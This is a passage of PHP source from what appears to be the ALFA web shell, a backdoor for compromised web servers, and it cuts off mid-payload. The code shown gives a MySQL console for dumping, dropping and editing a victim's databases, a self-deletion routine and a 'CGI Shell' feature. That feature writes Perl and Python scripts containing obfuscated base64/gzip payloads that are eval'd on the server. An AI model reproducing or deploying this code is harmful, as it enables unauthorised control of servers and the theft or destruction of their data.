  4730. echo "<script>mysql_cache['".$curr_mysql_id."']['host']='".addslashes($_POST['sql_host'])."';mysql_cache['".$curr_mysql_id."']['user']='".addslashes($_POST['sql_login'])."';mysql_cache['".$curr_mysql_id."']['pass']='".addslashes($_POST['sql_pass'])."';mysql_cache['".$curr_mysql_id."']['db']='".addslashes($_POST['sql_base'])."';mysql_cache['".$curr_mysql_id."']['charset']='".addslashes($_POST['charset'])."';mysql_cache['".$curr_mysql_id."']['type']='".addslashes($_POST['type'])."';mysql_cache['".$curr_mysql_id."']['count']='".addslashes($_POST['sql_count'])."';".$sql_title_db."alfaConnectionHistoryUpdate();</script>";
  4731. }
  4732. if(isset($db) && $db->link){
  4733. if(!empty($_POST['sql_base'])){
  4734. echo "<div class='mysql-main'><div mode='block' onclick='alfaMysqlTablePanelCtl(this);' class='tables-panel-ctl db-opt-id'>&#x3C;&#x3C;</div><div class='mysql-tables'><div><input placeholder=\"Filter Table\" style='padding: 0;margin-left: 11px;text-align:center;' type='text' name='filter_all'><button class='db-opt-id' onclick='alfaMysqlFilterAllTable(this);return false;'>Search</button></div><div class='block'><a sql_count='".(empty($_POST['sql_count'])?"false":"true")."' mode='closed' onclick='alfaMysqlFilterAllTable(this,true);' class='expander parent-expander db-opt-id' href='javascript:void(0);'><img src='http://solevisible.com/icons/menu/b_plus.png' title='Expand/Collapse All DataBases' alt='Expand/Collapse All DataBases'></a></div><ul style='margin-top: 28px;'>";
  4735. foreach ($database_list as $db_name) {
  4736. echo '<li><div class="block"><i></i><b></b><a sql_count="'.(empty($_POST['sql_count'])?"false":"true").'" db_target="'.$db_name.'" onclick="alfaMysqlExpander(this);" class="expander cls-'.$db_name.'-expander db-opt-id" href="javascript:void(0);"><img src="http://solevisible.com/icons/menu/'.($db_name == $_POST['sql_base']?"b_minus.png":"b_plus.png").'" title="Expand/Collapse" alt="Expand/Collapse"></a></div><span class="db_name">'.$db_name.'</span><div class="clearfloat"></div><div db_name="'.$db_name.'" mode="'.($db_name == $_POST['sql_base']?"loaded":"no").'" class="list_container cls-'.$db_name.'"><div>';
  4737. if($db_name == $_POST['sql_base']){
  4738. $db->selectdb($_POST['sql_base']);
  4739. $tbls_res = $db->listTables();
  4740. echo '<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" target=".cls-'.$db_name.'" placeholder="Filter Table" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';
  4741. while($item = $db->fetch($tbls_res)){
  4742. list($key, $value) = each($item);
  4743. if(!empty($_POST['sql_count']))
  4744. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM `'.$value.'`'));
  4745. $value = htmlspecialchars($value);
  4746. echo "<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a class='db-opt-id' db_target='".$db_name."' href='javascript:void(0);' onclick=\"alfaLoadTableData(this,'".$value."')\"><span class='mysql_tables' style='font-weight:unset;'>".$value."</span></a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small><span style='font-weight:unset;' class='mysql_table_count'>({$n['n']})</span></small>") . "</div></li>";
  4747. }
  4748. echo '</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" class="db-opt-id" target=".cls-'.$db_name.'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" target=".cls-'.$db_name.'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" class="db-opt-id" db_target="'.$db_name.'" target=".cls-'.$db_name.'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>';
  4749. }
  4750. echo "</div></li>";
  4751. }
  4752. echo "</ul></div><div class='mysql-query-results'><div class='mysql-query-result-tabs'><div class='db-opt-id mysql-query-selected-tab' target='.mysql-query-result-content' onclick='alfaMysqlTabCtl(this);'>Result</div><div class='db-opt-id' target='.mysql-query-form' onclick='alfaMysqlTabCtl(this);'>Query</div><div class='db-opt-id' target='.mysql-search-area' onclick='alfaMysqlTabCtl(this);'>Search</div><div class='db-opt-id' target='.mysql-structure' onclick='alfaMysqlTabCtl(this);'>Structure</div><div class='db-opt-id' target='.mysql-insert-row' onclick='alfaMysqlTabCtl(this);'>Insert</div><div style='display:none;' class='db-opt-id' target='.mysql-edit-row' onclick='alfaMysqlTabCtl(this);'>Edit</div></div><div class='mysql-query-content mysql-insert-row mysql-hide-content'></div><div class='mysql-query-content mysql-edit-row mysql-hide-content'></div><div class='mysql-query-content mysql-search-area mysql-hide-content'></div><div class='mysql-query-content mysql-structure mysql-hide-content'></div><div class='mysql-query-content mysql-query-form mysql-hide-content'><div style='margin-bottom: 5px;'><span>Query:</span></div><textarea name='query' style='width:90%;height:100px'></textarea><p><div style='float:left;margin-left: 30px;'><input class='button db-opt-id' db_target='".$_POST['sql_base']."' onclick='alfaMysqlQuery(this);return false;' type='submit' value=' '></div></p></div><div class='mysql-query-content mysql-query-result-content'><div class='mysql-query-result-header'><div style='margin-bottom: 10px;' class='mysql-query-reporter'></div><div class='mysql-query-pager'></div></div><div class='mysql-query-table'></div></div></form></td></tr>";
  4753. }
  4754. echo "</table></div>";
  4755. echo "</div>";
  4756. }else{
  4757. echo htmlspecialchars($db->error());
  4758. }
  4759. echo '</div>';
  4760. alfafooter();
  4761. }
  4762. function alfaSql_manager_api(){
  4763. $db = $_POST["alfa1"];
  4764. $type = $_POST["alfa2"];
  4765. $sql_count = $_POST["alfa3"] == "true" ? true : false;
  4766. $db = @json_decode($db, true);
  4767. $conn = @mysqli_connect($db["host"], $db["user"], $db["pass"], $db["db"]);
  4768. @mysqli_set_charset($conn, "utf8");
  4769. if($conn){
  4770. if($type == "load_all_tables"){
  4771. $tables = array();
  4772. $q_tables = @mysqli_query($conn, "SELECT `table_schema`, `table_name` FROM `information_schema`.`tables` WHERE `table_schema` IN ('".implode("','", $db["databases"])."');");
  4773. $count = 0;
  4774. while($row = @mysqli_fetch_assoc($q_tables)){
  4775. if($sql_count){
  4776. $count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row["table_schema"].'`.`'.$row["table_name"].'`');
  4777. if($count_q){
  4778. $count = @mysqli_fetch_row($count_q);
  4779. $count = $count[0];
  4780. }
  4781. }
  4782. $tables[$row["table_schema"]][] = array("name" => $row["table_name"], "count" => (int)$count);
  4783. }
  4784. foreach($db["databases"] as $db){
  4785. if(!isset($tables[$db])){
  4786. $tables[$db] = null;
  4787. }
  4788. }
  4789. echo @json_encode($tables);
  4790. }elseif($type == "dump_drop"){
  4791. if($db["mode"] == "drop"){
  4792. foreach ($db["tables"] as $table) {
  4793. @mysqli_query($conn, "DROP TABLE `".$table."`;");
  4794. }
  4795. $tables = array();
  4796. $q_tables = @mysqli_query($conn, "SHOW TABLES;");
  4797. $count = 0;
  4798. while($row = @mysqli_fetch_array($q_tables)){
  4799. if($sql_count){
  4800. $count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row[0].'`');
  4801. if($count_q){
  4802. $count = @mysqli_fetch_row($count_q);
  4803. $count = $count[0];
  4804. }
  4805. }
  4806. $tables[] = array("name" => $row[0], "count" => (int)$count);
  4807. }
  4808. echo @json_encode($tables);
  4809. }else{
  4810. if(strlen(alfaEx("mysqldump"))>0){
  4811. alfaEx("mysqldump --single-transaction --host=\"".$db["host"]."\" --user=\"".$db["user"]."\" --password=\"".$db["pass"]."\" ".$db["db"]." ".implode(" ", $db["tables"])." > ".$db["dump_file"]);
  4812. }else{
  4813. $fp = @fopen($db["dump_file"], "w");
  4814. foreach ($db["tables"] as $table) {
  4815. $res = @mysqli_query($conn, 'SHOW CREATE TABLE `'.$table.'`');
  4816. $create = @mysqli_fetch_array($res);
  4817. $sql = "DROP TABLE IF EXISTS `".$table."`;\n" . $create[1].";\n";
  4818. if($fp) fwrite($fp, $sql); else echo($sql);
  4819. $tbl_data = @mysqli_query($conn, 'SELECT * FROM `'.$table.'`');
  4820. $head = true;
  4821. while($item = @mysqli_fetch_assoc($tbl_data)){
  4822. $columns = array();
  4823. foreach($item as $k=>$v) {
  4824. if($v == null)
  4825. $item[$k] = "''";
  4826. elseif(is_numeric($v))
  4827. $item[$k] = $v;
  4828. else
  4829. $item[$k] = "'".@mysqli_real_escape_string($conn, $v)."'";
  4830. $columns[] = "`".$k."`";
  4831. }
  4832. if($head) {
  4833. $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  4834. $head = false;
  4835. } else
  4836. $sql = "\n\t,(".implode(", ", $item).')';
  4837. if($fp) fwrite($fp, $sql); else echo($sql);
  4838. }
  4839. if(!$head)
  4840. if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  4841. }
  4842. }
  4843. echo @json_encode(array("status" => true, "file" => $db["dump_file"]));
  4844. }
  4845. }elseif($type == "load_tables"){
  4846. $tables = array();
  4847. $q_tables = @mysqli_query($conn, "SHOW TABLES;");
  4848. $count = 0;
  4849. while($row = @mysqli_fetch_array($q_tables)){
  4850. if($sql_count){
  4851. $count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row[0].'`');
  4852. if($count_q){
  4853. $count = @mysqli_fetch_row($count_q);
  4854. $count = $count[0];
  4855. }
  4856. }
  4857. $tables[] = array("name" => $row[0], "count" => (int)$count);
  4858. }
  4859. echo @json_encode($tables);
  4860. }elseif($type == "alter"){
  4861. $db["alter"]["type"] = strtolower($db["alter"]["type"]);
  4862. $inputs = $db["alter"]["type"]."(".$db["alter"]["input"].")";
  4863. $text_input = array("longtext", "text", "mediumtext", "tinytext");
  4864. if(in_array($db["alter"]["type"], $text_input)){
  4865. $inputs = $db["alter"]["type"];
  4866. }
  4867. @mysqli_query($conn, "ALTER TABLE `".$db["table"]."` MODIFY COLUMN `".$db["column"]."` " . $inputs);
  4868. $error = @mysqli_error($conn);
  4869. if($error){
  4870. echo $error;
  4871. }else{
  4872. echo "ok";
  4873. }
  4874. }elseif($type == "edit" || $type == "delete" || $type == "delete_all"){
  4875. if($type == "edit"){
  4876. $q = @mysqli_query($conn, "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` = '".addslashes($db["key"])."' LIMIT 0,1");
  4877. $row = @mysqli_fetch_assoc($q);
  4878. if($row){
  4879. $columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE, DATA_TYPE as type FROM information_schema.columns WHERE `TABLE_SCHEMA` = '".$db["db"]."' AND `TABLE_NAME` = '".$db["table"]."'");
  4880. $columns = array();
  4881. $edit_data = array();
  4882. while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
  4883. $input = array("col_type" => $row2["COLUMN_TYPE"]);
  4884. $row2["type"] = strtolower($row2["type"]);
  4885. switch($row2["type"]){
  4886. case "longtext": case "text": case "mediumtext": case "tinytext":
  4887. $input["tag"] = "textarea";
  4888. break;
  4889. case "int": case "smallint": case "bigint": case "tinyint": case "mediumint":
  4890. $input["tag"] = "input";
  4891. $input["type"] = "number";
  4892. break;
  4893. default:
  4894. $input["tag"] = "input";
  4895. $input["type"] = "text";
  4896. }
  4897. $columns[$row2["name"]] = $input;
  4898. }
  4899. foreach($row as $key => $v){
  4900. $edit_data[] = array("col" => $key, "value" => htmlspecialchars($v, ENT_QUOTES, 'UTF-8'), "type" => $columns[$key]);
  4901. }
  4902. echo @json_encode($edit_data);
  4903. }
  4904. }else{
  4905. if($type == "delete_all"){
  4906. $rows = implode("', '", $db["rows"]);
  4907. }else{
  4908. $rows = addslashes($db["key"]);
  4909. }
  4910. $query = "DELETE FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` IN ('".$rows."')";
  4911. @mysqli_query($conn, $query);
  4912. $error = @mysqli_error($conn);
  4913. if($error){
  4914. $status = false;
  4915. }else{
  4916. $status = true;
  4917. }
  4918. echo @json_encode(array("status" => $status, "error" => $error, "query" => $query));
  4919. }
  4920. }elseif($type == "update"){
  4921. $query = "UPDATE `".$db["db"]."`.`".$db["table"]."` SET ";
  4922. foreach($db["data"] as $col => $val){
  4923. $query .= "`".$col."` = '".mysqli_real_escape_string($conn, $val)."',";
  4924. }
  4925. $query = substr($query, 0, -1);
  4926. $query .= "WHERE `".$db["col_key"]."` = '".$db["key"]."'";
  4927. $res = @mysqli_query($conn, $query);
  4928. echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
  4929. }elseif($type == "insert"){
  4930. $query = "INSERT INTO `".$db["db"]."`.`".$db["table"]."` ";
  4931. foreach($db["data"] as $col => $val){
  4932. $cols .= $col . ",";
  4933. $vals .= "'".mysqli_real_escape_string($conn, $val)."',";
  4934. }
  4935. $cols = substr($cols, 0, -1);
  4936. $vals = substr($vals, 0, -1);
  4937. $query = $query . "(" . $cols . ")" . "VALUES(" . $vals . ")";
  4938. $res = @mysqli_query($conn, $query);
  4939. echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
  4940. }else{
  4941. $pages = 0;
  4942. $title = false;
  4943. $query = "";
  4944. $tbl_content = '<table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">';
  4945. $line = 0;
  4946. $tables = array();
  4947. $columns = array();
  4948. if($type == "load_data"){
  4949. $query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT 0,30";
  4950. $tbl_count_q = @mysqli_query($conn, "SELECT COUNT(*) FROM `".$db["db"]."`.`".$db["table"]."`");
  4951. $tbl_count = @mysqli_fetch_row($tbl_count_q);
  4952. $columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE as type, COLLATION_NAME as collation, DATA_TYPE as data_type, CHARACTER_MAXIMUM_LENGTH as type_value FROM information_schema.columns WHERE `TABLE_SCHEMA` = '".$db["db"]."' AND `TABLE_NAME` = '".$db["table"]."'");
  4953. while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
  4954. $columns[] = $row2;
  4955. }
  4956. if($tbl_count[0] > 30){
  4957. $pages = ceil($tbl_count[0] / 30);
  4958. }
  4959. }elseif($type == "query"){
  4960. $query = $db["query"];
  4961. }elseif($type == "page"){
  4962. $db["page"] = (int)$db["page"] - 1;
  4963. $query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT ".($db["page"]*30).",30";
  4964. }elseif($type == "search"){
  4965. $search = "";
  4966. $search_noval = array("= ''", "!= ''", "IS NULL", "IS NOT NULL");
  4967. foreach($db["search"] as $col => $val){
  4968. $search_noval_r = in_array($val["opt"], $search_noval);
  4969. if(empty($val["value"]) && !$search_noval_r)continue;
  4970. if(strstr($val["opt"], "...") || $search_noval_r){
  4971. $val["opt"] = str_replace("...", $val["value"], $val["opt"]);
  4972. $search .= $col . " " . $val["opt"] . " AND ";
  4973. }else{
  4974. $search .= $col . " " . $val["opt"] . " '".addslashes($val["value"])."' AND ";
  4975. }
  4976. }
  4977. $search .= "1=1";
  4978. $query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE " . $search;
  4979. }
  4980. $q_tables = @mysqli_query($conn, $query);
  4981. if(!$q_tables){
  4982. echo @json_encode(array("status" => false, "error" => @mysqli_error($conn), "query" => $query));
  4983. return false;
  4984. }
  4985. $col_key = @mysqli_query($conn, "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '".@addslashes($db["db"])."' AND TABLE_NAME = '".@addslashes($db["table"])."' AND COLUMN_KEY = 'PRI'");
  4986. if($col_key){
  4987. $col_key = @mysqli_fetch_row($col_key);
  4988. $col_key = $col_key[0];
  4989. if(!empty($col_key)){
  4990. $tbl_content = '<div style="margin-bottom:5px;margin-top:5px;"><button col_key="'.$col_key.'" tbl_name="'.$db["table"].'" db_id="'.$db["db_id"].'" db_target="'.$db["db"].'" onclick="alfaMysqlDeleteAllSelectedrows(this);return false;">Delete Selected Rows</button></div><table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">';
  4991. }
  4992. }else{
  4993. $col_key = false;
  4994. }
  4995. while($item = @mysqli_fetch_assoc($q_tables)){
  4996. if(!$title){
  4997. $tbl_content .= '<tr style="background-color:#305b8e;">';
  4998. if($col_key){
  4999. $tbl_content .= '<th style="width: 55px;text-align:center;"><input db_id="'.$db["db_id"].'" onchange="alfaMysqlTblSelectAll(this);" type="checkbox"></th><th style="width: 55px;text-align:center;">Edit</th><th style="width: 55px;text-align:center;">Delete</th>';
  5000. }
  5001. foreach($item as $key => $value){
  5002. $tbl_content .= '<th>'.$key.'</th>';
  5003. }
  5004. reset($item);
  5005. $title=true;
  5006. $tbl_content .= '</tr><tr>';
  5007. }
  5008.  
  5009. if($col_key){
  5010. $cacheMsg = '<td style="text-align:center;"><input row_id="'.$line.'" type="checkbox" name="tbl_rows_checkbox[]" value="'.$item[$col_key].'"></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="'.$db["db_id"].'" db_target="'.$db["db"].'" tbl_name="'.$db["table"].'" col_key="'.$col_key.'" key="'.$item[$col_key].'" onclick="alfaMysqlEditRow(this, \'edit\');" style="color:#0acaa6;">Edit</a></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="'.$db["db_id"].'" db_target="'.$db["db"].'" tbl_name="'.$db["table"].'" col_key="'.$col_key.'" key="'.$item[$col_key].'" row_id="'.$line.'" onclick="alfaMysqlEditRow(this, \'delete\');" style="color:#ff1e1e;">Delete</a></td>';
  5011. }
  5012. $tbl_content .= '<tr class="tbl_row tbl_row_l'.$line.'">'.$cacheMsg;
  5013. $line++;
  5014. foreach($item as $key => $value){
  5015. if($value == null){
  5016. $tbl_content .= '<td><i>null</i></td>';
  5017. }else{
  5018. $tbl_content .= '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  5019. }
  5020. }
  5021. $tbl_content .= '</tr>';
  5022. }
  5023. $tbl_content .= '</table>';
  5024. if(!$title){
  5025. $tbl_content = "<div style='padding:5px;border:1px dashed;margin:10px;'>Table is empty...</div>";
  5026. }
  5027. echo @json_encode(array("status" => true, "table" => $tbl_content, "columns" => $columns, "pages" => $pages, "query" => $query));
  5028. }
  5029. @mysqli_close($conn);
  5030. }
  5031. }
  5032. function alfaselfrm(){
  5033. if(isset($_POST['alfa1'])&&$_POST['alfa1']=='yes'){
  5034. echo(__pre().'<center>');
  5035. if(@unlink($GLOBALS['__file_path'])){
  5036. echo('<b>Shell has been removed</i> :)</b>');
  5037. }else{
  5038. echo 'unlink error!';
  5039. }
  5040. echo('</center>');
  5041. }
  5042. if(isset($_POST['alfa1'])&&$_POST['alfa1']!='yes'){
  5043. echo "<div class=header>";
  5044. echo "
  5045. <center><p><img src=\"http://solevisible.com/images/farvahar-iran.png\"></p>";
  5046. echo '<p><div class="txtfont">Do you want to destroy me?!</div><a href=javascript:void(0) onclick="g(\'selfrm\',null,\'yes\');"> Yes</a>';
  5047. echo '</p></center></div>';
  5048. }
  5049. }
  5050. function alfacgishell(){
  5051. alfahead();
  5052. $div = "";
  5053. alfaCreateParentFolder();
  5054. @chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
  5055. if(!in_array($_POST['alfa1'],array('perl','py'))){
  5056. $div = "</div>";
  5057. echo '<div class=header><center><p><div class="txtfont_header">| CGI Shell |</div></p><h3><a class="rejectme" href="javascript:void(0)" onclick="runcgi(\'perl\')">| Perl | </a><a class="rejectme" href="javascript:void(0)" onclick="runcgi(\'py\');">| Python | </a>';
  5058. }
  5059. if(isset($_POST['alfa1'])&&in_array($_POST['alfa1'],array('perl','py'))){
  5060. @mkdir('cgialfa',0755);
  5061. @chdir('cgialfa');
  5062. alfacgihtaccess('cgi');
  5063. $name = $_POST['alfa1'].'.alfa';
  5064. $perl = '#!/usr/bin/perl -I/usr/local/bandmin'."\n".'use MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64("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")));';;
  5065. $py = '#!/usr/bin/python'."\nimport zlib, base64\n".'eval(compile(zlib.decompress(base64.b64decode("eJylF9ty2zb22foKDLxbUqurFTvN6Na6Xqf1bNNmErcvtkcDEqCICQlwQdC26vF++54DkBLVaOO2a8/YBM79fmDNZto5knmhjSXxWtpo5v8NhWJRJsJuRzzGorCAVbCy7NSo5absA15fl/21sAjpR6wUr0/7lckyGXUSo3NiZS5IQ2FNgueGgzUsFhGLP3nUj9ZItb76uUFvzjWjBrkBFwC1K1CtIxOiS9D2XhqthikrV5/EJqQfLz5cvb9e/XT+7pJ2QfkyNrKwioFCixbBzR7iXUdkpfg9NqUdLhLCsoRd5DyMkd1RnMqMr0rLpeqT7UFX1rMvdCHUBHD3UYdxpkt06tGREWWVIXabeGgE4+EeEd62qWxlFPHEnUSbHDms5fCtFBn/aLVha8SMcw4AhA8hPvcsq0QYxEG3w6X5HMABAH4EIjDNk/owDiv170pbEfrgDqPXp1zEmosQsLqOCBgCkWf7EhFgdVuS/MfNePrqjiwWJIg5CdC3yqvgzqSHEuBvMMNvhOB38cADwLyojBHK/tNJbwKE5F3wZJFB0oTBrQr6gTdQaeu4MQWcd7SBA0hFMh2zrAwxwAc5Byj2AOs6a0DCC1z32YIqHYjdyjsPs4bZdMiiEv+HdEi7nfeQ/QVmSXBD5nCvoI42mVjQWGfaTI/Hr74+GY9ndBn06jrEsFalMGG3F8xHSLL89gXKvXK4/PDr5Ye6HLYcDsqeRIk4OXMcdmbtSO7+FqDPVysso9XKRXi1yplUqxWG2ZUwoRdaWSAd2E0hpsSKRztKbZ7dmltFG6RgjlfLeQrVsZxbaTOxvICE4iTakPMf356Ta3H+jgzIxfdX5P3GplrNRx5tngvLoMaYKYVd0F+u3w7e0OXcWbL8xxNUVyaVmCqtxOz5eLVKUNuqeEoyzeyUGLlO7UzfCwMXD1OSSs6FmnkPkOPJWZKAEx8kt+mUnJyOi8cZlyWkx2YKoUfWgwji/2mGhg12fAQUSlHKcvaQSisG4LEYrFf6wbBi9pyxSGRPOTNrqQZOBWCOvIHeSsimAcvkWk1JDupkYhZpwwXoc1I8klJnkkOD4DPsl2ujK8Wn2EAVCMEgAfbjoEwZRz3G8HsKVMfjy1fj0/Oa08AwLqtyiqDGuMkZKvBnzIgrU6KXCg0xFOZ/OMYbi+NBq/VTW2e0oQ5DJhK79bLzxLNURWVvMGsWZRXl0t491QIbeW1eLr6H3VTHEjqnWotDDng+hoby9Je